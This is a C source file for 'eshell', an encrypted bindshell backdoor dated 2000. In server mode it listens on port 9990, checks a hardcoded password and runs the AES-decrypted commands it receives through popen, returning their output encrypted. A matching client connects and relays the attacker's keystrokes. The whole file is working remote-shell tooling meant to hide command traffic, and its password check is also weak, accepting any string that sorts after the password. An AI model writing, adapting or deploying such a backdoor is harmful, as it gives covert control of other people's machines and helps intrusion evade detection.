/*
 Program name : eshell v.01, 2000-12-19
 Tested on    : linux
 Author       : jenggo <luki@karet.org>, #karet
 Require      : libmix -- http://mixter.warrior2k.com
 Description  : eshell, Encrypted bindshell daemon/client with 
                AES crypto algorithm supported.
    It is popen(), NOT full I/O bash shell ...
 TODO         : make full functional encrypted bindshell
                ( any ideas ? )
 BUGS         : if received data > max_size the output will truncated 
                stderr is also truncated 
    very very not optimized :P
 Compile      : gcc eshell.c -o eshell -lmix -Wall
 Usage        : ./eshell -h
 Thankie      : echo, ularkasur #karet
*/

#include <mix/mix.h>
#define PORT 9990      /* port to listen or send */
#define PASS "taun baruan dimana ya ?" /* password, change this */
#define AES_ALG SAFERP /* AES Algorithm to use */
#define RECSIZE 65536  /* max size of received data, make sure its big enough */
#define SNDSIZE 4096   /* max command size */

void servermode (unsigned long to, int port);
void clientmode (char *host, int port);
void usage(char *cmd);

void usage (char *cmd)
{
  printf ("Usage: %s <host>\n",cmd);
  printf ("Encrypted bindshell daemon/client with AES crypto algorithm supported\n");
  printf ("if called without any argument will run into server mode\n\n");
  printf ("  %s\t<host>\t -- client mode\n",cmd);
  printf ("  \t\t\t    host is hostname / IP to connect\n");
  printf ("  %s\t\t -- server mode\n",cmd);
  exit(0);
}

void servermode (unsigned long to, int port)
{
  int i = 0, h, sock = socket (PF_INET, SOCK_STREAM, 0), insock, heh;
  char *p, *q, d[SNDSIZE*2];
  struct sa sin;
  struct sa sout;
  FILE *com;
  fd_set dupfd;
  sin.fam = PF_INET;
  sin.add = to;
  sin.dp = htons(port);

  if((bind(sock,(struct sockaddr *)&sin,sizeof(sin))<0))
    exit(printf("Bind error\n"));
  if((listen(sock,5))<0)
    exit(printf("Listen error\n"));
  heh=sizeof(struct sockaddr_in);

  /* init AES */
  alg = AES_ALG;
  aes_key ((const char *)PASS);
  
  while (1) {

    if((insock=accept(sock, (struct sockaddr *)&sout, &heh)) == -1)
    {
      perror("accept");
      exit(1);
    }

    signal(SIGHUP,SIG_IGN);
    signal(SIGCHLD,SIG_IGN);  // zombies dead  

    if(!fork()) {

      /* authenticate first */
      memset(d,'\0', sizeof(d));
      h=read(insock, d, sizeof(d)-1);
      i = strlen(d);
      p = (char *) aes_decrypt((const u1byte *) d, i);
      if ((strcmp(p, PASS)) < 0)
      {
  exit(0);
      }
      free(p);
      
      /* make it like a real shell :) */
      while (1)
      {   
        FD_ZERO(&dupfd);
        FD_SET(insock,&dupfd);
        FD_SET(STDIN_FILENO,&dupfd);
        select(insock+1,&dupfd,NULL,NULL,NULL);
        if (FD_ISSET(insock,&dupfd))
        {
          memset(d,'\0', sizeof(d));
          h=read(insock, d, sizeof(d)-1);
    if (h <= 0)
      exit(0);

          /* decrypt */    
          i = strlen(d);
          p = (char *) aes_decrypt((const u1byte *) d, i);

          /* build the command */
    dup2(insock,2);
          com = popen (p,"r");
          free (p);
    while (!feof(com))
    {
            memset(d,'\0', sizeof(d));
            fread (d, 1, sizeof(d)-1, com);

            /* encrypt it */
            i = strlen(d);
            q = (char *) aes_encrypt((const u1byte *) d, &i);
 
            /* send the result */
            write (insock, q, strlen(q));
            free (q);
//      sleep(1);
    }
    pclose(com);
  }
      }
    } 
  } 
}

void clientmode (char *host, int port)
{
  int i = 0, h, sock = socket (PF_INET, SOCK_STREAM, 0);
  char *p,*g;
  struct sa sin;
  fd_set dupfd;
  sin.fam = PF_INET;
  sin.add = resolve (host);
  sin.dp = htons(PORT);

  /* init AES */ 
  alg = AES_ALG;
  aes_key ((const char *)PASS);

  (void) connect(sock, (struct sockaddr *) &sin, sizeof(sin));
  
  /* send encrypted pass */
  i = strlen(PASS);
  p = (char *) aes_encrypt((const u1byte *) PASS, &i);
  (void) write (sock, p, strlen(p));
  free(p);
  
  while (1)
  { 
    FD_ZERO(&dupfd);
    FD_SET(sock,&dupfd);
    FD_SET(STDIN_FILENO,&dupfd);
    select(sock+1,&dupfd,NULL,NULL,NULL);
    /* read from socket */
    if (FD_ISSET(sock,&dupfd))
    {
      if ((g=malloc(RECSIZE)) < 0)
      {
        printf("malloc()\n");
        exit(0);
      }
      memset(g, '\0', RECSIZE);
      h=read(sock,g,RECSIZE-1);
      if (h <= 0)
  exit(0);

      /* decrypt it */
      i = strlen(g);
      p = (char *) aes_decrypt((const u1byte *) g, i);

      printf("%s",p);
      free (p);
      free (g);
    }
    /* read from stdin */
    if (FD_ISSET(STDIN_FILENO,&dupfd))
    {
      if ((g=malloc(SNDSIZE)) < 0)
      {
        printf("malloc()\n");
        exit(0);
      }
      memset(g, 0, SNDSIZE);
      h=read(STDIN_FILENO,g, SNDSIZE);
      if (h > 0)
      {
  /* encrypt it */
        i = strlen(g);
        p = (char *) aes_encrypt((const u1byte *) g, &i);
        (void) write (sock, p, strlen(p));
        free(p);
        free(g);
      }
    }
  }
}

int main (int argc, char **argv)
{
  unsigned long lh;
  if (argc > 1)
  {
    if ( (strcmp(argv[1],"-h") == 0) || (strcmp(argv[1],"--help") == 0) )
    {
      usage(argv[0]);
      exit(0);
    }
    else
    {
      if ( (strlen(argv[1]) < 65) && (argc == 2))
      {
        printf ("Remember it is sh -c \"your commands\" , not full I/O shell !\n");
        printf ("Client mode: <ctrl+c to quit>\n");
        clientmode (argv[1], PORT);
      }
      else
      {
        printf ("error: bad hostname\n");
        usage (argv[0]);
        exit(0);
      }
    }
  }
  else
  {
    lh = resolve ("localhost");
    servermode (lh, PORT);
  }
  return 0;
}